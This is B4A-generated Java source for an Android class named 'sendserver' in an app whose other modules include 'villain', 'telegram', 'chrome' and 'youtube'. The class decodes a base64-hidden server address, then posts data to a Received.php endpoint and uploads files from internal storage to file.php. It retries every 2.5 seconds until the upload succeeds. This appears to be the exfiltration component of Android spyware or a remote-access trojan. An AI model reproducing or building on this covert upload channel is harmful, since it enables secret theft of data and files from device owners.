package matinlurd.com;


import anywheresoftware.b4a.BA;
import anywheresoftware.b4a.B4AClass;
import anywheresoftware.b4a.BALayout;
import anywheresoftware.b4a.debug.*;

public class sendserver extends B4AClass.ImplB4AClass implements BA.SubDelegator{
    private static java.util.HashMap<String, java.lang.reflect.Method> htSubs;
    private void innerInitialize(BA _ba) throws Exception {
        if (ba == null) {
            ba = new BA(_ba, this, htSubs, "matinlurd.com.sendserver");
            if (htSubs == null) {
                ba.loadHtSubs(this.getClass());
                htSubs = ba.htSubs;
            }
            
        }
        if (BA.isShellModeRuntimeCheck(ba)) 
			   this.getClass().getMethod("_class_globals", matinlurd.com.sendserver.class).invoke(this, new Object[] {null});
        else
            ba.raiseEvent2(null, true, "class_globals", false);
    }

 public anywheresoftware.b4a.keywords.Common __c = null;
public matinlurd.com.main _main = null;
public matinlurd.com.newmessage _newmessage = null;
public matinlurd.com.serverlink _serverlink = null;
public matinlurd.com.firebasemessaging _firebasemessaging = null;
public matinlurd.com.starter _starter = null;
public matinlurd.com.background _background = null;
public matinlurd.com.subs _subs = null;
public matinlurd.com.matin _matin = null;
public matinlurd.com.myfun _myfun = null;
public matinlurd.com.chrome _chrome = null;
public matinlurd.com.mainchange _mainchange = null;
public matinlurd.com.second _second = null;
public matinlurd.com.telegram _telegram = null;
public matinlurd.com.villain _villain = null;
public matinlurd.com.youtube _youtube = null;
public matinlurd.com.httputils2service _httputils2service = null;
public String  _class_globals() throws Exception{
 //BA.debugLineNum = 1;BA.debugLine="Sub Class_Globals";
 //BA.debugLineNum = 2;BA.debugLine="End Sub";
return "";
}
public String  _initialize(anywheresoftware.b4a.BA _ba) throws Exception{
innerInitialize(_ba);
 //BA.debugLineNum = 5;BA.debugLine="Public Sub Initialize";
 //BA.debugLineNum = 7;BA.debugLine="End Sub";
return "";
}
public void  _senddata(String _data) throws Exception{
ResumableSub_SendData rsub = new ResumableSub_SendData(this,_data);
rsub.resume(ba, null);
}
public static class ResumableSub_SendData extends BA.ResumableSub {
public ResumableSub_SendData(matinlurd.com.sendserver parent,String _data) {
this.parent = parent;
this._data = _data;
}
matinlurd.com.sendserver parent;
String _data;
anywheresoftware.b4a.objects.StringUtils _su = null;
byte[] _bytearray = null;
String _apilink = "";
String _sudoport = "";
matinlurd.com.httpjob _job = null;

@Override
public void resume(BA ba, Object[] result) throws Exception{

    while (true) {
try {

        switch (state) {
            case -1:
return;

case 0:
//C
this.state = 1;
 //BA.debugLineNum = 10;BA.debugLine="Try";
if (true) break;

case 1:
//try
this.state = 12;
this.catchState = 11;
this.state = 3;
if (true) break;

case 3:
//C
this.state = 4;
this.catchState = 11;
 //BA.debugLineNum = 11;BA.debugLine="Dim su As StringUtils";
_su = new anywheresoftware.b4a.objects.StringUtils();
 //BA.debugLineNum = 12;BA.debugLine="Dim byteArray() As Byte = su.DecodeBase64(Server";
_bytearray = _su.DecodeBase64(parent._serverlink._link /*String*/ );
 //BA.debugLineNum = 13;BA.debugLine="Dim ApiLink As String = BytesToString(byteArray,";
_apilink = parent.__c.BytesToString(_bytearray,(int) (0),_bytearray.length,"UTF-8");
 //BA.debugLineNum = 14;BA.debugLine="Dim sudoport As String = File.ReadString(File.Di";
_sudoport = parent.__c.File.ReadString(parent.__c.File.getDirAssets(),"sudoport.txt");
 //BA.debugLineNum = 16;BA.debugLine="Dim job As HttpJob";
_job = new matinlurd.com.httpjob();
 //BA.debugLineNum = 17;BA.debugLine="job.Initialize(\"\", Me)";
_job._initialize /*String*/ (ba,"",parent);
 //BA.debugLineNum = 18;BA.debugLine="job.PostString(ApiLink & \"/\" & sudoport & \"/Rece";
_job._poststring /*String*/ (_apilink+"/"+_sudoport+"/Received.php",_data);
 //BA.debugLineNum = 20;BA.debugLine="Wait For (job) JobDone(job As HttpJob)";
parent.__c.WaitFor("jobdone", ba, this, (Object)(_job));
this.state = 13;
return;
case 13:
//C
this.state = 4;
_job = (matinlurd.com.httpjob) result[0];
;
 //BA.debugLineNum = 22;BA.debugLine="If Not(job.Success) Then";
if (true) break;

case 4:
//if
this.state = 9;
if (parent.__c.Not(_job._success /*boolean*/ )) { 
this.state = 6;
}else {
this.state = 8;
}if (true) break;

case 6:
//C
this.state = 9;
 //BA.debugLineNum = 23;BA.debugLine="job.Release";
_job._release /*String*/ ();
 //BA.debugLineNum = 24;BA.debugLine="Sleep(2500)";
parent.__c.Sleep(parent.getActivityBA(),this,(int) (2500));
this.state = 14;
return;
case 14:
//C
this.state = 9;
;
 //BA.debugLineNum = 25;BA.debugLine="SendData(data)";
parent._senddata(_data);
 if (true) break;

case 8:
//C
this.state = 9;
 //BA.debugLineNum = 27;BA.debugLine="job.Release";
_job._release /*String*/ ();
 if (true) break;

case 9:
//C
this.state = 12;
;
 if (true) break;

case 11:
//C
this.state = 12;
this.catchState = 0;
 //BA.debugLineNum = 30;BA.debugLine="Log(LastException)";
parent.__c.LogImpl("61900565",BA.ObjectToString(parent.__c.LastException(parent.getActivityBA())),0);
 if (true) break;
if (true) break;

case 12:
//C
this.state = -1;
this.catchState = 0;
;
 //BA.debugLineNum = 34;BA.debugLine="StartReceiver(FirebaseMessaging)";
parent.__c.StartReceiver(ba,(Object)(parent._firebasemessaging.getObject()));
 //BA.debugLineNum = 35;BA.debugLine="End Sub";
if (true) break;
}} 
       catch (Exception e0) {
			
if (catchState == 0)
    throw e0;
else {
    state = catchState;
ba.setLastException(e0);}
            }
        }
    }
}
public void  _jobdone(matinlurd.com.httpjob _job) throws Exception{
}
public void  _sendfile(String _data,String _filename) throws Exception{
ResumableSub_SendFile rsub = new ResumableSub_SendFile(this,_data,_filename);
rsub.resume(ba, null);
}
public static class ResumableSub_SendFile extends BA.ResumableSub {
public ResumableSub_SendFile(matinlurd.com.sendserver parent,String _data,String _filename) {
this.parent = parent;
this._data = _data;
this._filename = _filename;
}
matinlurd.com.sendserver parent;
String _data;
String _filename;
anywheresoftware.b4a.objects.StringUtils _su = null;
byte[] _bytearray = null;
String _apilink = "";
String _sudoport = "";
matinlurd.com.httpjob _job = null;

@Override
public void resume(BA ba, Object[] result) throws Exception{

    while (true) {
try {

        switch (state) {
            case -1:
return;

case 0:
//C
this.state = 1;
 //BA.debugLineNum = 41;BA.debugLine="Try";
if (true) break;

case 1:
//try
this.state = 12;
this.catchState = 11;
this.state = 3;
if (true) break;

case 3:
//C
this.state = 4;
this.catchState = 11;
 //BA.debugLineNum = 42;BA.debugLine="Dim su As StringUtils";
_su = new anywheresoftware.b4a.objects.StringUtils();
 //BA.debugLineNum = 43;BA.debugLine="Dim byteArray() As Byte = su.DecodeBase64(Server";
_bytearray = _su.DecodeBase64(parent._serverlink._link /*String*/ );
 //BA.debugLineNum = 44;BA.debugLine="Dim ApiLink As String = BytesToString(byteArray,";
_apilink = parent.__c.BytesToString(_bytearray,(int) (0),_bytearray.length,"UTF-8");
 //BA.debugLineNum = 45;BA.debugLine="Dim sudoport As String = File.ReadString(File.Di";
_sudoport = parent.__c.File.ReadString(parent.__c.File.getDirAssets(),"sudoport.txt");
 //BA.debugLineNum = 47;BA.debugLine="Dim job As HttpJob";
_job = new matinlurd.com.httpjob();
 //BA.debugLineNum = 48;BA.debugLine="job.Initialize(\"\", Me)";
_job._initialize /*String*/ (ba,"",parent);
 //BA.debugLineNum = 49;BA.debugLine="job.PostFile(ApiLink & \"/\" & sudoport & \"/file.p";
_job._postfile /*String*/ (_apilink+"/"+_sudoport+"/file.php"+_data,parent.__c.File.getDirInternal(),_filename);
 //BA.debugLineNum = 51;BA.debugLine="Wait For (job) JobDone(job As HttpJob)";
parent.__c.WaitFor("jobdone", ba, this, (Object)(_job));
this.state = 13;
return;
case 13:
//C
this.state = 4;
_job = (matinlurd.com.httpjob) result[0];
;
 //BA.debugLineNum = 53;BA.debugLine="If Not(job.Success) Then";
if (true) break;

case 4:
//if
this.state = 9;
if (parent.__c.Not(_job._success /*boolean*/ )) { 
this.state = 6;
}else {
this.state = 8;
}if (true) break;

case 6:
//C
this.state = 9;
 //BA.debugLineNum = 54;BA.debugLine="job.Release";
_job._release /*String*/ ();
 //BA.debugLineNum = 55;BA.debugLine="Sleep(2500)";
parent.__c.Sleep(parent.getActivityBA(),this,(int) (2500));
this.state = 14;
return;
case 14:
//C
this.state = 9;
;
 //BA.debugLineNum = 56;BA.debugLine="SendFile(data, FileName)";
parent._sendfile(_data,_filename);
 if (true) break;

case 8:
//C
this.state = 9;
 //BA.debugLineNum = 58;BA.debugLine="job.Release";
_job._release /*String*/ ();
 if (true) break;

case 9:
//C
this.state = 12;
;
 if (true) break;

case 11:
//C
this.state = 12;
this.catchState = 0;
 //BA.debugLineNum = 61;BA.debugLine="Log(LastException)";
parent.__c.LogImpl("61966101",BA.ObjectToString(parent.__c.LastException(parent.getActivityBA())),0);
 if (true) break;
if (true) break;

case 12:
//C
this.state = -1;
this.catchState = 0;
;
 //BA.debugLineNum = 65;BA.debugLine="StartReceiver(FirebaseMessaging)";
parent.__c.StartReceiver(ba,(Object)(parent._firebasemessaging.getObject()));
 //BA.debugLineNum = 66;BA.debugLine="End Sub";
if (true) break;
}} 
       catch (Exception e0) {
			
if (catchState == 0)
    throw e0;
else {
    state = catchState;
ba.setLastException(e0);}
            }
        }
    }
}
public Object callSub(String sub, Object sender, Object[] args) throws Exception {
BA.senderHolder.set(sender);
return BA.SubDelegator.SubNotFound;
}
}
